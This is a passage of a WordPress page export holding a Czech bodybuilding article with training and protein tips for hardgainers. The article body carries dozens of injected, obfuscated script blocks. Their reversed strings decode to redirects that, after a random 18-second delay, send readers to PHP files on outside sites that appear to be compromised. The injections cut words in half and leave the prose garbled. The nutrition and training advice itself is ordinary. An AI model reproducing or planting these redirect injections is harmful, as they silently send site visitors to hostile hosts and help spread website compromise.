$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, abyste pokou\u0161eli osud a sna\u017eili se zdol\u00e1vat n\u011bjak\u00e9 silov\u00e9 rekordy. Nicm\u00e9n\u011b jedin\u011b dostate\u010dn\u011b zat\u00ed\u017een\u00fd a siln\u00fd sval m\u016f\u017ee optim\u00e1ln\u011b nab\u00edrat na objemu (v\u011b\u0159te, \u017ee objem va\u0161eho hrudn\u00edku a v\u00fdkon v\u00a0bench pressu spolu \u00fazce souvis\u00ed).<\/p>\n<p>Sna\u017ete se n\u011bkolik t\u00fddn\u016f v\u00a0tr\u00e9ninku zam\u011b\u0159it na nav\u00fd\u0161en\u00ed s\u00edly, tzn. zv\u00fd\u0161en\u00ed silov\u00fdch v\u00fdkon\u016f p\u0159i v\u0161ech z\u00e1kladn\u00edch cvic\u00edch na velk\u00e9 svalov\u00e9 partie. Posl\u00e9ze se pak m\u016f\u017eete t\u011b\u0161it na opravdu p\u0159ekvapiv\u00fd n\u00e1r\u016fst objemu.<\/p>\n<ol start=\"5\">\n<li><strong>PRAVIDELN\u011a KONZUMUJTE B\u00cdLKOVINY.<img loading=\"lazy\" decoding=\"async\" class=\" wp-image-134 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/04\/hardgainer2-244x300.jpg\" alt=\"\" width=\"308\" height=\"379\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/04\/hardgainer2-244x300.jpg 244w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/04\/hardgainer2.jpg 617w\" sizes=\"auto, (max-width: 308px) 100vw, 308px\" \/><\/strong><\/li>\n<\/ol>\n<p>Se zd\u016frazn\u011bn\u00edm v\u00fdznamu konzumace b\u00edlkovin <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nikdy nem\u016f\u017eeme p\u0159ehnat. Vzhledem k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, \u017ee jste kulturist\u00e9, jist\u011b v\u00edte, jak je p\u0159\u00edjem protein\u016f d\u016fle\u017eit\u00fd. Doporu\u010dujeme konzumovat alespo\u0148 2,2 gramy protein\u016f na kilogram v\u00e1hy t\u011bla denn\u011b. To v\u0161e rozd\u011blen\u00e9 mezi 5-6 porc\u00ed, z\u00e1le\u017e\u00ed samoz\u0159ejm\u011b na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, kolikr\u00e1t denn\u011b j\u00edte. Za nejlep\u0161\u00ed zdroje b\u00edlkoviny je pova\u017eov\u00e1no libov\u00e9 maso, tzn. steaky, ku\u0159ec\u00ed a kr\u016ft\u00ed maso. K\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu p\u0159idejte je\u0161t\u011b syrov\u00e1tku a kasein. Ihned po tr\u00e9ninku byste m\u011bli konzumovat 40 gram\u016f syrov\u00e1tkov\u00e9 b\u00edlkoviny a k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu 80 gram\u016f rychle straviteln\u00fdch sacharid\u016f.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"6\">\n<li><strong>OSVOJTE SI PRINCIP P\u0158ET\u00cd\u017dEN\u00cd.<\/strong><\/li>\n<\/ol>\n<p>Kdybyste si z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to seznamu nem\u011bli zapama<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat nic, tak alespo\u0148 v\u00a0principu p\u0159et\u00ed\u017een\u00ed ud\u011blejte v\u00fdjimku. Koncept p\u0159et\u00ed\u017een\u00ed jednodu\u0161e znamen\u00e1, \u017ee se t\u011blo p\u0159izp\u016fsobuje stupni sv\u00e9ho zat\u00ed\u017een\u00ed. Pokud se zat\u00ed\u017een\u00ed st\u00e1le zvy\u0161uje na hranici \u00fanosnosti, tzn. \u017ee postupn\u011b navy\u0161ujete po\u010det opakov\u00e1n\u00ed, z\u00e1t\u011b\u017e \u010di m\u011bn\u00edte dal\u0161\u00ed aspekty tr\u00e9ninku, nut\u00edte t\u011blo k\u00a0adaptaci, kter\u00e1 je pro n\u011bj st\u00e1le obt\u00ed\u017en\u011bj\u0161\u00ed a mus\u00ed na ni pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to reagovat budov\u00e1n\u00edm svalov\u00e9 hmoty.<\/p>\n<p>Jestli\u017ee prov\u00e1d\u00edte st\u00e1le stejn\u00e9 cviky se stejnou z\u00e1t\u011b\u017e\u00ed ve stejn\u00e9m po\u010dtu s\u00e9ri\u00ed, nen\u00ed divu, \u017ee se nezlep\u0161ujete. V\u00a0takov\u00e9m p\u0159\u00edpad\u011b v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e chyb\u00ed p\u0159et\u00ed\u017een\u00ed \u2013 tedy postupn\u00e9 navy\u0161ov\u00e1n\u00ed tr\u00e9ninkov\u00e9ho stimulu.<\/p>\n<p>Jak byste t\u00edm p\u00e1dem m\u011bli postupovat? P\u0159edev\u0161\u00edm se seznamte s\u00a0technikami, jako jsou drop s\u00e9rie, negativn\u00ed opakov\u00e1n\u00ed a silov\u00e1 opakov\u00e1n\u00ed. Vyu\u017eit\u00edm t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to technik na zv\u00fd\u0161en\u00ed intenzity si zajist\u00edte opravdu kvalitn\u00ed tr\u00e9ninkov\u00e9 v\u00fdsledky.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u010cl\u00e1nek v\u00a0pln\u00e9m zn\u011bn\u00ed na v\u00e1s \u010dek\u00e1 v\u00a0\u010d\u00edsle 3-19.<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mo\u017en\u00e1 jste to s\u00a0genetikou zrovna nevyhr\u00e1li. To ale neznamen\u00e1, \u017ee se mus\u00edte sm\u00ed\u0159it s\u00a0moment\u00e1ln\u00edm stavem. M\u00e1me pro v\u00e1s n\u011bkolik tip\u016f, d\u00edky kter\u00fdm nastartuje budov\u00e1n\u00ed hmoty i ten nejv\u011bt\u0161\u00ed smola\u0159. \u00a0TAH\u00c1K PRO V\u0160ECHNY HARDGAINERY \u00a0 Najd\u011bte si \u010das. \u00a0 Zvl\u00e1dn\u011bte z\u00e1kladn\u00ed cviky. \u00a0 Koncentrujte se na ka\u017edou s\u00e9rii. \u00a0 Budujte s\u00edlu. \u00a0 Pravideln\u011b konzumujte b\u00edlkoviny. \u00a0 Osvojte si princip p\u0159et\u00ed\u017een\u00ed. Je \u010das pod\u00edvat se pravd\u011b do o\u010d\u00ed. Kdo je ve skute\u010dnosti hardgainer? Pravdou je, \u017ee prakticky ka\u017ed\u00fd. Nen\u00ed b\u011b\u017en\u00e9 potk\u00e1vat kulturisty, kte\u0159\u00ed nab\u00edraj\u00ed svalovou hmotu sami od sebe, ani\u017e by se o to p\u0159\u00edli\u0161 sna\u017eili. V\u011bt\u0161ina lid\u00ed, kte\u0159\u00ed chod\u00ed pravideln\u011b do posilovny, v\u00ed moc dob\u0159e, \u017ee za ka\u017ed\u00fdm kilogramem sval\u016f se skr\u00fdv\u00e1 tvrd\u00e1 d\u0159ina, \u017ee je to \u010dasto frustruj\u00edc\u00ed proces, kter\u00fd netrv\u00e1 t\u00fddny nebo m\u011bs\u00edce, ale roky! Kdy\u017e svoj\u00ed snaze ob\u011btujete maximum \u2013 a pochopiteln\u011b spoustu \u010dasu \u2013 p\u0159esto se m\u016f\u017ee st\u00e1t, \u017ee nebudou v\u00fdsledky uspokojiv\u00e9. V\u00a0takov\u00e9m p\u0159\u00edpad\u011b je pak ale nutn\u00e9 zm\u011bnit pl\u00e1n bitvy. Nab\u00edz\u00edme v\u00e1m n\u011bkolik dobr\u00fdch rad, jak toho dos\u00e1hnout. Nem\u016f\u017eeme zm\u011bnit va\u0161i genetiku, ale m\u016f\u017eeme v\u00e1m poradit, jak usp\u011bt s\u00a0genetikou, kterou m\u00e1te. Porad\u00edme v\u00e1m, jak dos\u00e1hnout uspokojiv\u00fdch tr\u00e9ninkov\u00fdch v\u00fdsledk\u016f. NAJD\u011aTE SI \u010cAS. Pro dosa\u017een\u00ed \u00fasp\u011bch\u016f v\u00a0kulturistice je velmi d\u016fle\u017eit\u00e9 naj\u00edt si optim\u00e1ln\u00ed \u010das pro tr\u00e9nink. Pokud m\u00e1te podat nejlep\u0161\u00ed v\u00fdkony, mus\u00edte b\u00fdt v\u00a0posilovn\u011b v\u00a0dobu, kter\u00e1 v\u00e1m to umo\u017en\u00ed. Pat\u0159\u00edte-li mezi rann\u00ed pt\u00e1\u010data, ale cvi\u010d\u00edte sp\u00ed\u0161e ve\u010der, kdy u\u017e nem\u00e1te moc energie, pak byste \u010das tr\u00e9ninku m\u011bli zm\u011bnit. Kdy\u017e tr\u00e9nujete v\u00a0dobu, kdy m\u00e1te nejv\u00edce energie a jste schopni se koncentrovat, pak uvid\u00edte v\u00fdsledky prakticky okam\u017eit\u011b. ZVL\u00c1DN\u011aTE Z\u00c1KLADN\u00cd CVIKY. Jestli v\u00e1s to t\u00e1hne sp\u00ed\u0161e k\u00a0jednoru\u010dk\u00e1m, upa\u017eov\u00e1n\u00ed a kickback\u016fm, pak je \u010das zm\u011bnit zp\u016fsob my\u0161len\u00ed \u2013 a to hned. Tyto cviky jsou bezpochyby d\u016fle\u017eit\u00e9 pro tvarov\u00e1n\u00ed sval\u016f, ale nem\u016f\u017eete od nich o\u010dek\u00e1vat v\u00fdrazn\u00fd n\u00e1r\u016fst svalov\u00e9 hmoty. V\u00a0tomto sm\u011bru je dost mo\u017en\u00e1 nejd\u016fle\u017eit\u011bj\u0161\u00ed, abyste se nau\u010dili efektivn\u011b za\u0159azovat z\u00e1kladn\u00ed cviky, jako jsou d\u0159epy, mrtv\u00fd tah, bench press, tlaky nad hlavou a p\u0159\u00edtahy. Jsou to cviky n\u00e1ro\u010dn\u00e9, ale funguj\u00ed. KONCENTRUJTE SE NA KA\u017dDOU S\u00c9RII. Bez ohledu na to, jak vypad\u00e1 v\u00e1\u0161 tr\u00e9nink, dbejte, abyste ka\u017edou s\u00e9rii zvl\u00e1dli s\u00a0pln\u00fdm nasazen\u00edm. Co t\u00edm m\u00e1me na mysli? Je to jednoduch\u00e9, a\u017e p\u0159\u00edli\u0161 mnoho hardgainer\u016f se na s\u00e9rie nekoncentruje. Z\u00e1kladem je zvolit takovou z\u00e1t\u011b\u017e, kter\u00e1 v\u00e1m umo\u017en\u00ed dos\u00e1hnout vy\u010derp\u00e1n\u00ed p\u0159i p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed. Jestli\u017ee se nap\u0159\u00edklad sna\u017e\u00edte jet s\u00e9rii o 10 opakov\u00e1n\u00edch, nem\u016f\u017eete volit v\u00e1hu n\u00e1hodn\u011b, prov\u00e9st deset opakov\u00e1n\u00ed a skon\u010dit, i kdy\u017e byste jich zvl\u00e1dli v\u00edc. Jestli\u017ee m\u00e1 b\u00fdt s\u00e9rie opravdu kvalitn\u00ed, pak by m\u011bla b\u00fdt z\u00e1t\u011b\u017e takov\u00e1, abyste jeden\u00e1ct\u00e9 opakov\u00e1n\u00ed u\u017e nezvl\u00e1dli. BUDUJTE S\u00cdLU. Jednodu\u0161e \u0159e\u010deno, \u010d\u00edm v\u011bt\u0161\u00ed z\u00e1t\u011b\u017e m\u016f\u017eete pou\u017eit\u00ed, t\u00edm v\u00edce svalov\u00e9 hmoty vybudujete. Pokud pat\u0159\u00edte mezi hardgainery, m\u011bli byste se v\u00a0prvn\u00ed \u0159ad\u011b zamyslet a zkontrolovat, jestli kladete dostate\u010dn\u00fd d\u016fraz na koncept s\u00edly. Nejde snad ani o to, abyste pokou\u0161eli osud a sna\u017eili se zdol\u00e1vat n\u011bjak\u00e9 silov\u00e9 rekordy. Nicm\u00e9n\u011b jedin\u011b dostate\u010dn\u011b zat\u00ed\u017een\u00fd a siln\u00fd sval m\u016f\u017ee optim\u00e1ln\u011b nab\u00edrat na objemu (v\u011b\u0159te, \u017ee objem va\u0161eho hrudn\u00edku a v\u00fdkon v\u00a0bench pressu spolu \u00fazce souvis\u00ed). Sna\u017ete se n\u011bkolik t\u00fddn\u016f v\u00a0tr\u00e9ninku zam\u011b\u0159it na nav\u00fd\u0161en\u00ed s\u00edly, tzn. zv\u00fd\u0161en\u00ed silov\u00fdch v\u00fdkon\u016f p\u0159i v\u0161ech z\u00e1kladn\u00edch cvic\u00edch na velk\u00e9 svalov\u00e9 partie. Posl\u00e9ze se pak m\u016f\u017eete t\u011b\u0161it na opravdu p\u0159ekvapiv\u00fd n\u00e1r\u016fst objemu. PRAVIDELN\u011a KONZUMUJTE B\u00cdLKOVINY. Se zd\u016frazn\u011bn\u00edm v\u00fdznamu konzumace b\u00edlkovin to nikdy nem\u016f\u017eeme p\u0159ehnat. Vzhledem k\u00a0tomu, \u017ee jste kulturist\u00e9, jist\u011b v\u00edte, jak je p\u0159\u00edjem protein\u016f d\u016fle\u017eit\u00fd. Doporu\u010dujeme konzumovat alespo\u0148 2,2 gramy protein\u016f na kilogram v\u00e1hy t\u011bla denn\u011b. To v\u0161e rozd\u011blen\u00e9 mezi 5-6 porc\u00ed, z\u00e1le\u017e\u00ed samoz\u0159ejm\u011b na tom, kolikr\u00e1t denn\u011b j\u00edte. Za nejlep\u0161\u00ed zdroje b\u00edlkoviny je pova\u017eov\u00e1no libov\u00e9 maso, tzn. steaky, ku\u0159ec\u00ed a kr\u016ft\u00ed maso. K\u00a0tomu p\u0159idejte je\u0161t\u011b syrov\u00e1tku a kasein. Ihned po tr\u00e9ninku byste m\u011bli konzumovat 40 gram\u016f syrov\u00e1tkov\u00e9 b\u00edlkoviny a k\u00a0tomu 80 gram\u016f rychle straviteln\u00fdch sacharid\u016f. &nbsp; OSVOJTE SI PRINCIP P\u0158ET\u00cd\u017dEN\u00cd. Kdybyste si z\u00a0tohoto seznamu nem\u011bli zapamatovat nic, tak alespo\u0148 v\u00a0principu p\u0159et\u00ed\u017een\u00ed ud\u011blejte v\u00fdjimku. Koncept p\u0159et\u00ed\u017een\u00ed jednodu\u0161e znamen\u00e1, \u017ee se t\u011blo p\u0159izp\u016fsobuje stupni sv\u00e9ho zat\u00ed\u017een\u00ed. Pokud se zat\u00ed\u017een\u00ed st\u00e1le zvy\u0161uje na hranici \u00fanosnosti, tzn. \u017ee postupn\u011b navy\u0161ujete po\u010det opakov\u00e1n\u00ed, 